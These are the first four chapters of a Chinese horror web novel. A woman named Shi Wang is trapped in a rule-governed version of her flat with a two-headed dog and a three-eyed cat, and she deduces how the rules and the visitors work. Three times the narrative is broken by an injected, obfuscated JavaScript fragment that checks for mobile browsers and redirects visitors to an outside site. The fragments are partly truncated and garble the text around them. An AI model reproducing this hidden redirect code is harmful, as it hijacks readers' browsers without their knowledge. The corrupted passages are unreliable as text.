《茧原[无限]》 1. 独居女性生活指北(1) 时望下班回家,左手提着半个西瓜,右手拿出钥匙准备开门。 钥匙插进锁孔时,时望的眼皮跳了一下,拿着钥匙的手顿了顿。 从楼道窗口溜进来的夕阳洒在右手上,时望撇了一眼落在地上的右手影子。 虽然没有证据,但她推断大概是今天被她怼了的秃头老登在骂她,并决定明天加大对秃驴的辱骂力度。 随即如往常一般拧开门锁。 眼皮跳得更厉害了。 时望抬眼看到门牌号是702,脚下是写着“外卖请放这”的地毯,旁边的墙上还有她懒得撕下来的燃气检查通知单。 这就是她家门口。 门被时望完全推开了。 客厅氤氲着夕阳的暖红,玄关旁还是那双小海龟拖鞋,时望特别喜欢它走起路来啪嗒啪嗒的声音。 一切如常。 都到家了,还能不进门怎么着。 这么想着,时望提着西瓜走进家门。伴随着轻微的凝滞感,眼前的空间如水波般漾开,门无风自动关上了。 看着眼前如有实质般的黑暗,时望歪头观察眼前的环境片刻,确认不是自己瞎了之后,不抱希望地拧动门把手。 好消息,门是可以开的。 坏消息,开了也没用。 一分钟前还算明亮的楼道已被浓雾覆盖,只余门外一米见方的狭小空间被顶上的声控灯照亮。 迅速判断平时只会对下属颐指气使的秃驴没有能力造成眼前的局面,时望在心里不太诚恳地对错怪领导表示抱歉后,认命地关上了门,摸索着打开了客厅的灯。 所幸,灯还是能亮的。 玄关正对着客厅,客厅内的一切摆设都是时望熟悉的样子,甚至连昨晚喝了一半的饮料都还在饭桌上。 客厅里还有一只在沙发上端坐的猫和一条正在扯卷纸玩的狗。 一切都是那么的合理。 只是时望没养过猫也没养过狗,更没养过有两个头的狗和有三只眼的猫。 两个头的狗齐膝高,通体漆黑,微卷长毛,左边的头眼神清澈,咧着嘴吐舌头在散热,看起来仿佛在笑。右边的头面目狰狞,对着空空如也的地面低吼,活生生就是没头脑与不开心。 三只眼的猫身高只到时望小腿中部,周身覆盖雪白长毛,这个猫的毛长到遮蔽了全部五官,唯有头顶上的眼睛裸露在外,现身说法什么叫眼高于顶。 时望对眼前诡异的画面挑了挑眉,想起她摸索着开灯时,在开关旁摸到一张纸质的东西。 她顺着开灯的手望去,纸上鲜红的大字标题生怕有人注意不到它。 [F-E105N40规则指南 当你能看到这张纸时,说明你已身处险境。很遗憾在这里见到你,也很抱歉我们无法在这里解释更多,请你在安全地离开这里后,务必前往京州市河山路23号同和街道办事处2楼,那里有你想知道的一切,切记!务必! 请详细阅读并遵守以下规则,它们能帮助你离开这里! 1.你是一名独居女性,家里有且仅有一个人。 2.人是直立行走的,所有不是两个脚走路的生物都是宠物,喜欢宠物的你养宠物是很正常的。 3.宠物不会独自外出,请不要给门外的宠物开门。 4.主人有义务喂养宠物,宠物一天需要喂养两次,请在7点和19点准时从冰箱上取出饲料放到碗里喂给你心爱的宠物,吃饱的宠物是不会伤害主人的。 5.22点到6点是你的睡觉时间,你应该独自在房间里睡觉,请在睡觉前锁好门窗并无视该时段内所有的敲门声。 6.邮差是穿绿衣服的人,外卖员是穿红衣服的人。邮差送信喜欢猫但讨厌狗,外卖员送饲料喜欢狗但他讨厌猫。请不要给穿蓝衣服的人开门。 7.请在玄关处放置一双男式拖鞋,不要让任何人知道这里只有你一个人。 8.如果不给敲门者开门,请不要让他们知道家里有人。 9.天黑时请不要外出。 10.请随身携带本规则,在你质疑自己是人的身份时,反复阅读本规则。 11.请务必保护好自己,期待与你相见。 同和街道办事处二楼] 在时望一目十行看规则指南时,她心爱的宠物们已经发现了她,正向她缓缓走来。 时望看着这两个别致的小东西,眼皮猛地抽动了两下。 忽然有点怀念秃头领导,虽然他是神经了点,但他至少不会索命。 --- 同和街道办事处二楼 江宜的手在键盘上快飞出残影了,再次确认屏幕上的数据后,拿起桌上的电话就开始汇报。 “报告头儿,检测到有活人进入E105N40,茧内危险评级F,混浊等级F,综合评级F,规则纸已被撕下,目前行动组已全部外出,无人可即刻前往救援。” 电话那头的人眼睛都没从文件中移开,“实时监测汇报异动,一个小时后没有人从茧内出来就组织救援,通知秦温阳做好准备。” “收到!” --- 时望家中 两头狗在时望的脚上又嗅又舔,还时不时轻咬时望的腿,哈喇子流了一地。 三眼猫跳上了鞋柜,匍匐着身子垂下头,第三个眼睛的竖瞳像瞄准猎物一般紧盯着时望的脖子。 时望慢条斯理地揣好规则纸,拿出手机。 果然和恐怖片的设定一样,手机完全没有任何服务信号。 手机上的时间显示为18点28分,与墙上的时钟显示一致。 距离喂食时间还有32分钟。 看着这两只虎视眈眈的宠物,时望基本确定她不按时喂食的话,这俩宠物能把她当饲料给炫了。 她先提溜起猫的后脖子,不轻不重地将它放到地上。 再蹲下来用尾指撩起挡住两只猫眼的毛,虚摸着三只眼同时眨巴的猫头,俨然是一副好主人的模样。 “以后你就叫小别致了。”时望顿了一下,随后狡黠地笑着道:“咱商量一下呗,你第三只眼不用的话,能不能暂时闭上,怪吓人的。” 小别致弓起脊背炸毛以示拒绝。 “小气吧啦的,不同意就不同意呗。” 话音刚落,时望一手一个狗头推开围着她嗅的狗。 “没忘了你,你就叫小东西吧。就是你能不能给我表演一个那个?” 时望两个食指指向相反的方向做出示范:“就是两个头各奔东西,我真的很想知道哪个头会赢。” 小东西呲出两排尖牙表示没得商量。 三言两语间拉满仇恨的时望从通勤包里拿出一张湿巾认真地擦手。 随后她提起西瓜从小别致的头上跨过去,不经意间还磕了一下小东西的一个狗头。 “真是对不起捏,小东西。”时望不太有诚意地道歉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715076|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时望转身欣赏了一下两个炸毛的宠物,还嫌它们怒气值不够一般继续煽风点火。 “记住主人给你们起的名字哦。” “小别致你不是东西,小东西你是真东西。” 成功把两个猫不猫狗不狗的东西气得跳脚之后,时望心满意足地往厨房走去。 刚才那一番试探至少证实了宠物不能攻击主人,规则纸是有一定可信度的。 在喂食时间前,不用担心这俩抽象玩意儿会攻击她。 接下来就该确定饲料的存量了。 既然规则中会提到有送饲料的人,那现有的饲料存量就不会太乐观,要不然直接无视所有的敲门声苟过去就行了。 时望还没走到厨房就闻到了若有若无的腐臭味。推开厨房的平移门,仿佛能将每一根头发丝都腌入味般浓烈的腐臭味扑面而来。 忍着恶臭,时望巡视厨房寻找臭味的来源,几乎不费力就找到了——冰箱上。 漆黑浓稠的液体自冰箱顶上淌下,嘀嗒嘀嗒地从冰箱门落到地上。 这个厨房不能要了,时望一脸冷漠地想着。 到这个鬼地方以来她第一次感到绝望。 虽然全身细胞都在叫嚣着赶紧离开厨房,但是即将就要到来的喂食时间不容时望继续拖延。 尤其是闻到腐臭味之后,小别致和小东西看着厨房的眼神逐渐变得贪婪。 无论如何,时望都该一探究竟。 时望回到客厅,拿着平时她看电视时用来架脚的小板凳,再次进入厨房。 她将小板凳放到冰箱前,踩着小板凳踮起脚取下冰箱上的黑色盆子。盆子与平常的脸盆一般大,外侧冰凉,内里盛满了黑色浓稠液体。 时望大致比划了一下放在厨房门外的两个宠物碗的大小,粗测这盆子饲料只够喂养两次。 也就是明天7点-19点之间时望必须拿到新饲料。 黑色的液体咕嘟咕嘟地冒着泡泡,如有生命一般不停地往盆子外蠕动,甚至滴落到时望的手上。 很好,这个手也不能要了,时望面无表情地看着手上的黑色液体。 她强忍着把这盆脏东西连盆带液体一起打包扔下楼的冲动,把盆子放回冰箱上——冰箱顶是厨房最高的位置。 小别致和小东西在冰箱周围上蹿下跳,把饲料放在冰箱顶上是为了防着谁就不言而喻了。 时望顺着脏手打开了同样脏的冰箱门,冰箱里还是只有一头皱巴巴的发芽大蒜。 她衷心对干巴大蒜的顽强生命表示佩服与憧憬之后,关上了冰箱门。 除了多一盆饲料外,厨房再无其它异常。 使劲搓了三遍手再用酒精湿巾擦遍每一个指甲缝之后,时望拿出手机。现在的时间是18:45,距离喂食还有15分钟。 想着还有点时间,时望干脆从消毒柜里取出一个铁勺回到饭桌上吃起了西瓜补充体力。 吃到一半注意到对她怒目而视的小东西和小别致,她还不忘安抚尚未进食的宠物们。 “拜托。” 时望先是用食指指着对她呲牙低吼的狗:“狗要吃狗粮。” 而后又指着对她哈气的猫:“猫要吃猫粮。” 最后指着自己的鼻子:“人也是要吃人粮的,我到时还能短了你们那口吃的不成,你们能不能有素质一点。” 插科打诨之中,时望看到墙上的时钟走到了18:55。 该准备喂食了。 2. 独居女性生活指北(2) 时望拿着刚从小别致和小东西嘴里抢过来的宠物碗站在饲料盆前,很是嫌弃地打量着全是口水的宠物碗。 宠物碗八分满处有一圈黑色的痕迹。黑痕与饲料的质地一样,应该是上一顿的残渣。 除此以外,更重要的信息是它标定了宠物们的食量——显然,喂养宠物的饲料量并没有多少可操作的空间。 与粗测结果大抵相符,目前的饲料堪堪能喂养两次。 18:58——时望将盆里的饲料倒进宠物碗中,将将到达黑痕处就马上停手,甚至还会扣扣搜搜地将倒进碗里的饲料往回匀。 小东西和小别致看着她抠门的样子很通人性地直翻白眼。 规则上的喂食时间快到了,时望还是一手一个宠物碗不紧不慢地走到原先放置宠物碗的地方。 她站定后却没把宠物碗放到地上,反而靠着旁边的置物柜气定神闲地端详着小东西和小别致。 不得不说,这俩玩意儿长得是真丑,丑就算了,还凶。 时钟的秒针与分针同时走到了12,喂食时间到了。 小东西和小别致瞬间就像挣脱了无形的枷锁一般,自喉咙深处发出嘶哑的吼叫,面目凶狠地朝还端着宠物碗的时望扑过来。 小东西的两个头都将嘴张到极致,遍布口腔的尖牙带着不将时望拦腰咬断誓不罢休的气势对着时望的腰就要啃下去。 同时更为灵活的小别致先是跳上旁边的椅子,借力瞄准时望的脖子就要起跳,两根锋利的虎牙足以穿过时望脆弱的皮肤刺破动脉。 时望见状眼疾手快地将宠物碗“啪”地一下放到地上。 宠物碗放到地上的那一刻,时望就能感受到小东西和小别致身上无形的枷锁又回来了。 但保险起见,她还是利落地翻过置物柜躲开来势汹汹的宠物们。 时望的感觉没错,虽然小东西和小别致凶横的气势还没完全消退,但都停下了攻击的动作。 它俩狠狠地刮了时望一眼后,就将头埋在宠物碗里狼吞虎咽了。 规则纸的可信度再次提高了,至少规则纸上有部分规则是有在保护时望的。 “啧啧啧。”危机过后时望的嘴又开始嘚叭了。 “吃饭能不能不要吧唧嘴,这副吃相以后不要说是我们老时家出来的,丢死……” 不知从哪来的撕拉声打断了时望的话,很短暂也很轻微。 如果不是正好出现在时望说话的停顿间隙之中,时望都不会注意到。 “撕拉。” 又来了。 这次的声音更加清晰了,就像是平时吃烤全鸡时,扯下鸡腿的骨肉撕扯声。 时望凝视着正在专心进食的小别致和小东西,眉间轻蹙。 不知道是不是错觉,时望感觉小东西两个头之间的分叉开裂得更大了,小别致头顶上的眼睛更长了。 不是好事,时望心想。 咚,咚,咚。 门外传来的敲门声打断了时望的沉思。 时望还在权衡是继续观察宠物们的状态,还是去看一下猫眼时,门外传来一个男性的声音:“开门!送信的!” 这下时望就不得不去看了。规则里并没有说明如何离开这里,关键很可能就在邮差送的信上。 时望脱下一直穿着的运动鞋,轻手轻脚地往门口走去。 路过玄关时,还不忘从鞋柜里拿出备用拖鞋轻轻地放到她的海龟拖鞋旁。 备用拖鞋是男士拖鞋的型号,这样大部分的客人都能穿。 时望见门缝里属于敲门者的阴影,思索片刻,还拿起穿鞋时坐的矮长凳放到门前。 矮长凳只有膝盖高,可容两个人坐下,刚好比防盗门窄一点,两个凳腿分布两侧,中间的空间是空的。 时望踩上矮长凳,弯腰从猫眼看出去。 门外是一个相貌普通的中年男子,穿着绿色的polo衫,斜挎着装满信件的邮差包,很像普通的人类邮差。 除了他过长的手臂。 正常人的手自然垂放时,手应该就在胯骨旁,而他胯边并没有手,只有手臂。 时望顺着他的手臂往下看,好一会儿才在地上看到他的手。 他的手掌向下与地面直接接触,黑乎乎的指缝说明他的手长期都在地上——和脚一样。 如果他是正经邮差而不是宠物,时望能把小东西直接生吞了。 正在炫饭的小东西无缘无故呛了一下:? 一阵静谧之中,敲门者似乎等得不耐烦了,抬起沾满泥的手掌,微曲手指再次敲门,“开门!我是送信的!” 时望宁愿信小别致是二郎神都不可能信他。 她这么想着时,就看到敲门者直接将耳朵贴到猫眼上。时望的视野里顿时一片漆黑,但她还是没有做出任何动作。 不到一会儿,猫眼里的视野又恢复明亮了。 随后时望就看到敲门者蹲了下去,手在邮差包里摸索,似乎在找什么。 门里门外都暂时恢复了平静。 没多久门外的声控灯就黑了,猫眼外只有一片黑暗,什么声音都没有。 正当时望好奇敲门者到底想干什么时,时望踩着的凳子晃了一下,平稳了没一会儿,晃动地更剧烈了。 似乎有什么东西在撞击凳子。 时望双手撑着门尽力保持平衡,低头往下看,只见门缝里伸进一把薄薄的菜刀。 刀一下又一下地砍在凳腿上,每一下都在木质的凳腿上留下半个指节深的刀痕。 如果时望没有站在凳子上,那她的脚应该是没了。 时望回想起之前对小别致和小东西的戏弄,忽然觉得家里的俩宠物和门外的宠物相比,简直就是一对傻白甜。 混乱之间,时望还做出了一个艰难的决定:以后再也不嫌弃小东西和小别致丑了。 一分钟过后,敲门者像是砍累了一般收回了菜刀,站起身。 他布满红血丝的双眼隔着门与时望对视,片刻后便转身离开,隐入楼道的浓雾之中,再无声息。 估摸着这茬应该已经过去了,时望才从凳子上下来。 她悠哉游哉地走回宠物们进食的地方穿好鞋子,把注意力放回到自家的宠物身上。 时望方才经历的惊心动魄丝毫不影响小东西和小别致的食欲。 此时它俩已经进食完毕了,一脸满足地敞着肚子躺在地上。 小东西和小别致的身体变化并不是时望的错觉。 小东西两个头之间的分叉已经快要到达前腿了,较之前延长了三个指节有余,照这么下去没头脑和不高兴就要分离开各自独立了。 小别致头顶的眼睑开裂的口子也有十厘米了,眼球在正中央滴溜溜地转,其余都是鲜红的血肉,仿若有另一只猫在窥视着时望。 小东西和小别致似乎有一分为二的趋势。 它俩各自分裂后会有什么影响?或者说它们为什么要分裂? 时望略加思索便得到了答案——饲料。 四只宠物所需的饲料可是倍增的,虽然不清楚外卖员会送多少饲料,但在原始设定下这里就只有两只宠物,想必饲料也是按照两只宠物的量送的。 时望撩起眼皮看着对她不加防备的小东西和小别致,嘴角缓慢上扬,轻声说道:“真是有意思。” 之后的两个小时里,时望就在客厅一边观察着小东西和小别致的分裂情况,一边等待着随时可能到来的敲门声。 比较让人安慰的是小东西和小别致进食完毕后就停止了分裂,也就是说分裂只会在进食时发生。 如果分裂保持匀速的话,至少还需要三次喂食宠物才能完全分裂,时望还有一天多的时间。 虽说算不上时间充裕,但也足够让人稍稍喘息一下了。 一番折腾之后,时间也来到了21:30. 已经很长时间没有敲门声了,宠物们也没再闹出什么幺蛾子,差不多该收拾收拾睡觉了。 时望再次检查门窗已关好之后,换上小海龟拖鞋,啪嗒啪嗒地往卧室走去。 一夜无梦。 手机闹钟在6:30准时响起,刚发出第一个音节就被时望摁断。 时望看向窗外的湛蓝天空,明亮却不温暖的阳光洒在她的脸上。 昨晚平静得出乎意料。 时望起床后简单洗了把脸就走出了卧室。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715077|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >客厅里,小东西正玩着不知从哪找到的小球,小别致安安静静地整理自己的毛发。 如果它俩都是普通的宠物,眼前这幅画面就是一个猫狗双全的幸福景象。 可是没有如果。一夜过去,它俩的长相依然不尽人意。 另外,时望隐隐觉得小别致和小东西之间的关系并非特别的和谐,当她不在时,它俩总是离得远远的,各干各事。 家里的阵营也许不止两个。 在没有确凿证据的事情上纠结太久毫无意义。 时望深呼吸一口新鲜空气,憋着一口气拿起宠物碗冲进臭气熏天的厨房,准备喂食。 这回喂食时间一到,时望就立刻放下宠物碗,嘴上“嘬嘬嘬”地招呼小东西和小别致来吃。 除了能精神胜利一下之外,毫无其它益处的做法。 但是看着小东西和小别致很生气,却不能说话还要低头吃嗟来之食的样子,时望确实是爽到了。 和昨晚一样,小东西和小别致在进食的过程中,都在进行着不同表现形式,但进度将近一致的分裂。 小东西两个头之间的分叉已经超过前腿了,甚至在前腿相对的位置上,又长出两根五厘米长的小前腿。 小别致头顶那个十公分长的口子变成二十厘米长,隐约可看见另外一只猫的皮毛了。 时望看着它们一边吃饭一边有丝分裂的样子,感觉实在过于掉san了。 所以她企图通过言语攻击让它们少吃点:“都不知道你们这个样子,是怎么吃得下的!” 时望的手指着小东西:“小东西不是我说你,人家小别致吃得多顶多就双下巴,你再胖点就是四下巴了。你听听这话好听吗?” “还有你小别致,别人家的小猫咪喵一下人全身都酥了,你叫一下我头皮都麻了。你不争取时间练一下以后怎么跟别的猫竞争?” 时望还想继续发挥的时候,发现小东西和小别致的耳朵都已经贴着头皮,物理闭耳朵了。 时望:…… 被目标受众无声拒绝的时望去沙发上坐着,仰头看着天花板发呆。 规则上只说了要做什么,而没说过能做什么。 时望太被动了,她很讨厌这样。 也不知过了多久,时望感觉裤脚被扯动。 她低头看去,发现是小东西看起来没头脑的那个狗头在咬她的裤脚。 没头脑见她注意到自己了,便松开咬着裤腿的嘴,朝着沙发底“汪”了两下。 时望环视屋子一周,发现小东西刚刚一直把玩的玩具球不见了。 “你的球滚到沙发底了?” “汪”,没头脑点头。 “你要我帮你拿出来?” “汪汪”,没头脑点头点得更快了。 “你之前对我这么凶,我现在为什么要帮你呢?”时望对着没头脑的狗头指指点点:“但我是一个宽容的人,这样吧,你给我摇一下尾巴,我帮你拿球。” 小东西两脸纠结,一番权衡利弊之后很不情愿地晃了一下尾巴。 “你就这点诚意?”时望非常不认可这个从头到尾都透露着敷衍的摇尾巴:“那就算了吧,你自己拿球吧。” 小东西很不情不愿地又摇了两下尾巴。 “就这?” 小东西呲着牙猛猛地摇了很多下尾巴。 “你这表情怎么回事,什么服务态度?” 小东西起杀心了,看到旁边小别致一副看戏的戏谑样,杀心更浓了。 但都做到这地步了,这时候收手就前功尽弃了。 小东西咧开嘴吐舌头,尾巴摇得跟螺旋桨似的,看起来就像求摸摸的普通狗狗一样友好。 除了它的眼神快要把时望给活撕了。 “到位了到位了,真是好狗狗。” 时望甜甜地笑着道:“要是别人可能还不一定会帮你。” 在小东西希冀的目光中,时望笑容不变:“但我不一样,我不仅不帮你我还要嘲笑你。” “舔狗舔到最后一无所有嘻嘻” 在时望浮夸的笑声中,小东西的眼睛充满了不可置信。 不是,你们人类是不是有病啊? 3. 独居女性生活指北(3) 小东西开始原地发癫,冲着时望狂吠,一连串“汪”下来都不带换气的。 时望虽然听不懂,但能感觉到骂得很脏。 小别致看到小东西被时望戏弄后,静静地离开这个是非之地,继续给自己梳毛。 看到小东西气成这样,时望基本确定了自己的猜测。 “做坏事失败就骂苦主啊?就算是狗也要讲点道理的吧。” 时望面对失去理智的小东西,看见它因为“汪”了太久,嘴角兜不住口水,一边骂一边流口水的样子,不禁笑出了声。 “你冷静点,我们来分析一下。” “只是为了捡这个破球,你应该死都不会来求我。”时望放在大腿上的食指有节奏地轻点着腿:“所以你肯定有别的目的。” “那我们来假设一下我帮你捡球,我会怎么样吧。” 小东西的叫声小了一点。 “我要帮你捡球就需要蹲下去,但沙发缝这么窄,只蹲下去我还是看不到球在哪。” “所以我还要膝盖跪地把头伏贴到地上,这样我就需要把手撑地上保持平衡。” 小东西的叫声更小了,听起来就像小狗在嘤嘤嘤一样。 “这样我算不算是四个脚走路了呢?”时望要笑不笑地看着小东西。 “如果球的位置再远一点,我很大概率会就着爬行的姿势去拿球,也就是我不用两个脚走路了。” 小东西完全不吱声了。 “这么想让我当你同事啊?”时望用手指撩起小东西的一个狗头:“如果我成了宠物,而家里又必须要有一个人。” 时望饶有兴致地打量着心虚到不敢直视她的小东西:“你会变成人吗,小东西?” “还是说你想换下一个主人啦?”时望现在的气势属实有点吓人了。 小东西实在是有点怵现在的时望,强行收回自己的狗头夹着尾巴跑到角落里独自面壁。 怎么这么不经吓,时望心想。 然而还没等时望重新坐回沙发上,门被敲响了。 咚,咚,咚。 “有人在吗,送信的。”十分中气不足的懒音从门外传来,感觉再晚一点应门,门外的人就要走了。 时望依旧是先踩上小板凳再看猫眼。 这一次的敲门者穿着绿衣服,挎着邮差包,手是手脚是脚,也都放在了该放的位置上。 但是,是不是长得有点不礼貌了,时望吐槽到。 只见门外的“人”全身没有一块完整的皮肤,鸡蛋大小的脓包不均匀地分布在他的身上,似乎身体里有什么东西即将要冲破人的形状。 黏液、血水、露出骨肉的溃烂冲击着时望的视觉,她隔着门都感觉空气变污浊了。 “有人在家吗?”敲门者再次敲门,他的脚尖已经开始向外移动了。 再不开门他就要走了。 时望深吸一口气,并不大声地说道:“来了,稍等。” 她慢吞吞地从凳子上下来,再用0.5倍速打开了一条半人宽的门缝。 “你好,请问是有我的信吗?”时望歪着头在门缝里露出一双眼睛,努力挤出一个友好的表情。 话音未落,原本在屋里一直静静舔毛的小别致忽然冲到时望的脚下,再从时望两个脚之间钻出去,头和身子用力地顶门。 没有防备的时望一下子被斥力顶撞得卸了握着门把手的劲儿。 邮差还没来得及回答时望的话,就看到小别致冲他甜甜地“喵”了一声,还撒娇般蹭了蹭他的脚。 时望:? “是的,李女士。这里有一封你的信。”邮差说是这么说,但他没有拿出信交给时望,而是蹲下疼爱地抚摸着小别致的头。 时望听到邮差对自己的称呼之后,眉间轻皱。 李女士是谁? 邮差头也不抬,用发自真心赞美的语气对时望说:“李女士,你家的小猫真可爱。” 时望:? 真是好一个双向奔赴。 “是吗?请问一下我的信可以……”时望话还没说完,便看到邮差从包里拿出一条塑料包装的东西。 他撕开了包装袋,放到小别致的嘴边,小别致兴奋地吃了起来。 塑料包装里的东西是黑色的粘稠液体。 是饲料,时望看一眼就能确定。 眼看着小别致又开始分裂了,时望立马蹲下,双手环住小别致的腰腹就要把它扯回来。 可不能让它继续吃了。 扯不动。 一只猫不该有这么大的力气,时望抬头看向邮差。 邮差那双被脓包挤压成三角形的眼睛充满恶意地与时望对视,他一个手拿着饲料给小别致喂食,一个手抓着小别致的头,不让时望扯它回去。 “李女士,你的宠物好像饿了。让它吃点吧,瞧它多可怜啊。”邮差悲悯的语气让时望质疑自己是不是真的虐待过小别致。 时望与他对视半晌,估摸自己的力气是比不过邮差的,遂松开了抱住小别致的手,大声喊道:“小东西,你现在过来我就帮你捡球!” 听到动静的小东西从墙角慢慢地磨蹭过来。 人与狗之间的信任是没有了,但是它还是想过来看看发生了什么。 小东西这一看就看到小别致在吃独食,顿时暴跳如雷,一阵猛冲伴随着狂吠到邮差脚边张嘴就要咬下去。 邮差为了躲避小东西这一口尖牙,只好站起身往后退了一步,中断了对小别致的喂食。 邮差狠狠地瞪着暴怒的小东西,毫不掩饰自己对小东西的厌恶。 小别致加餐被打断,回头就给小东西来了一爪子,一猫一狗打了起来,场面一度十分混乱。 时望看着它俩你一爪子我一嘴巴的打得有来有回,也就没管它们。 “请问,可以把信给我了吗?”时望柔声问道。 邮差估计小别致一时半会儿无法从小东西手下脱身,再看到时望不善的眼神,咬牙切齿地道:“当然可以,李女士。” 邮差从包里拿出一封用牛皮纸信封包裹再用火漆封口的信,双手递给时望。 时望伸出手去拿信,第一下没能将信从邮差手里抽出。 她抬头不避不让地与邮差对视,手上也不卸劲儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715078|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “邮差先生,你是还有什么问题吗?” 邮差深深地看了时望半晌,忽地就松了手。“当然没有,李女士。” 时望拿到信,将信揣进兜里之后,还不忘向邮差道谢:“邮差先生,如果没什么事的话,你去忙你的事情?” 随后指着正在打架的两个宠物,一脸头疼道:“我这也有家事要处理呢。” “家事”二字被咬了重音。 “那就祝你生活愉快,李女士。”邮差面向时望一步一步地往后退,直到浓雾完全将他淹没,时望才关上了门。 关上门后,时望分别给正在打架的小东西和小别致一宠一脚。“都别打了。谁先住手谁今晚的饲料多。” 一猫一狗住手了。 虽然它们没多相信时望跑火车的嘴,但更不希望刚和自己打架的对方好过。 邮差真不愧是信使啊,时望心想。 方才那一番给时望带来了不少信息。 首先,规则中邮差和外卖员对宠物的喜欢指的是会给它们喂食,讨厌则是惧怕宠物。 也就是说邮差和外卖员会促进他们喜欢的宠物分裂,这对他们有好处,但好处未知。 其次,小东西和小别致确实是不同阵营的。 目前来看已经有三个阵营:时望,小别致和邮差,小东西和外卖员。 时望需要喂养宠物来保证自己不被宠物攻击,宠物吃饱后就不能攻击时望。 敲门人可以给喜欢的宠物喂食,被讨厌的宠物攻击。 同时,敲门人可以给时望带来有用的信息或者饲料。 还剩下敲门人会在什么条件下限制或者攻击时望尚未明晰,接下来只能等外卖员了。 最后,就是邮差对时望的称呼以及他带来的信。 排除送错信的可能,李女士应该就是这个家的原主人。 原主人为什么不在家了?时望为什么会出现在这里? 带着这些疑问,时望坐在沙发上拿出了那封信。 信封上赫然写着:“李娟收”,寄信人名为小云。 时望拆开了火漆印,取出信封里精致的信纸,信纸上是几行秀气的字。 [亲爱的李娟: 见字如晤。 最近你和小宠物们过得怎么样?我已经把礼物寄往你给我的地址了。你愿意信任我,给我你家的地址,我真的太高兴了。 另外,当你收到信时,我应该已经在车上了。 是不是觉得很惊讶? 不出意外的话,你收到信后的第二天我们就能见面了。 我真的好期待见到你,想到我们可以一起吃好吃的,去你家里看你的小宠物,和你一起去动物园看你在信里提到的懒懒的大熊猫,去游乐园坐摩天轮,我就好开心好开心呀。 如果方便的话,明天早上你记得在你家等我哦。 对了,我会穿着碎花裙子去见你的,记得不要认错人。 我们不见不散。 小云] 时望合上信,回想小云的落款,陷入了沉思。 不出意外的话,小云就是离开这里的关键。 4. 独居女性生活指北(4) 时望本以为规则是充满恶意的,将温暖安全的家变成如今进退两难的险境。 可如果这不是时望的家,而是李娟的家,那时望就要重新审视规则了。 规则可能是原主人给来到这个地方的客人的保命指南。 要怎么离开李娟的家,最清楚的人莫过于李娟。 有能力造就眼前这一局面的李娟大概已不是一个平常人,所以她还是普通人时是一个什么样的人呢? 她是一个典型的独居女性,需要向外界隐藏自己独居的信息,谨慎对待每一次给陌生人开门。 在日常生活中出于安全或者孤独的考虑,养有一猫一狗。她有一份稳定的工作,所以只能早七晚七定时投喂。 李娟还有一个笔友,按照她的谨慎程度,笔友也就是小云大概率也是个女性,至少曾向她声明自己的性别为女。 俩人通信往来应该有一段时间了,小云以给李娟寄礼物的名义讨要了李娟的住址。 这件礼物大概是一件比较重或者比较大的东西,比如小云“刚好”有闲置的自动喂食机或者猫爬架等宠物用品,李娟一个人不容易搬动,所以地址会详细到门牌号以方便快递送货上门。 只是没想到小云直接不请而来,李娟平凡稳定一成不变的生活里即将迎来一个小波澜。 时望看着此时熟悉又陌生的家,思忖李娟会怎么处理小云即将到来这件事。 李娟大概会抱着人来都来了的想法,不会拒绝小云进入自己家吧。 明天家里就要来客人了,客厅该收拾一下了,尤其是散落在茶几上的拼图。 时望余光撇到正在伸懒腰的小别致,想起小别致和小东西好久都没洗过澡了,待会儿该给它们清洁一下了,要不人家来摸宠物摸到一手灰就有点不礼貌了。 小云是外地人,大概无法当天来回,先把客房收拾出来吧。时望这么想着,抬脚就要往客房走去。 这时正在啃着宠物碗玩的小东西没叼好宠物碗,不锈钢的碗乍一下掉到地上,发出尖锐的“咣啷”声,吸引了时望的注意力。 好像有什么不对。 时望还没来得及剪指甲的拇指猛地掐一下手心,痛觉使她彻底清醒。 她刚刚过于代入李娟了,差点就真的成为李娟了。 时望用力深呼吸,清空脑子里所有关于李娟的想法,掏出规则指南反复阅读三次觉得神台清明之后,提笔在“质疑自己的是人的身份时,反复阅读规则指南”这条规则之后增加说明 ——“不要共情,代入,过多思考(划掉)非人(划掉)非活人存在。” 此时已是午后,小别致趴在洒满阳光的飘窗安然入睡。时望伸手抓了一把阳光,依旧是明亮而不温暖。 说不定这里太阳真的是个灯泡呢,时望这么想着时,门外响起了敲门声。 咚,咚,咚。 “请问李女士在家吗?麻烦开一下门,您订的饲料到咯。”对工作充满热情的年轻男性声音自门外传来。 时望使劲地甩了两下头,像是要把脑海里“李女士”“李娟”等字眼甩出去。确定自己是清醒的状态后,她依旧先通过猫眼确定敲门者的外貌。 敲门者穿着红色的套头衫和牛仔裤,背着一个大约50厘米长,20厘米宽,40厘米高的塑料桶,两脚站立,手垂放在腰边。 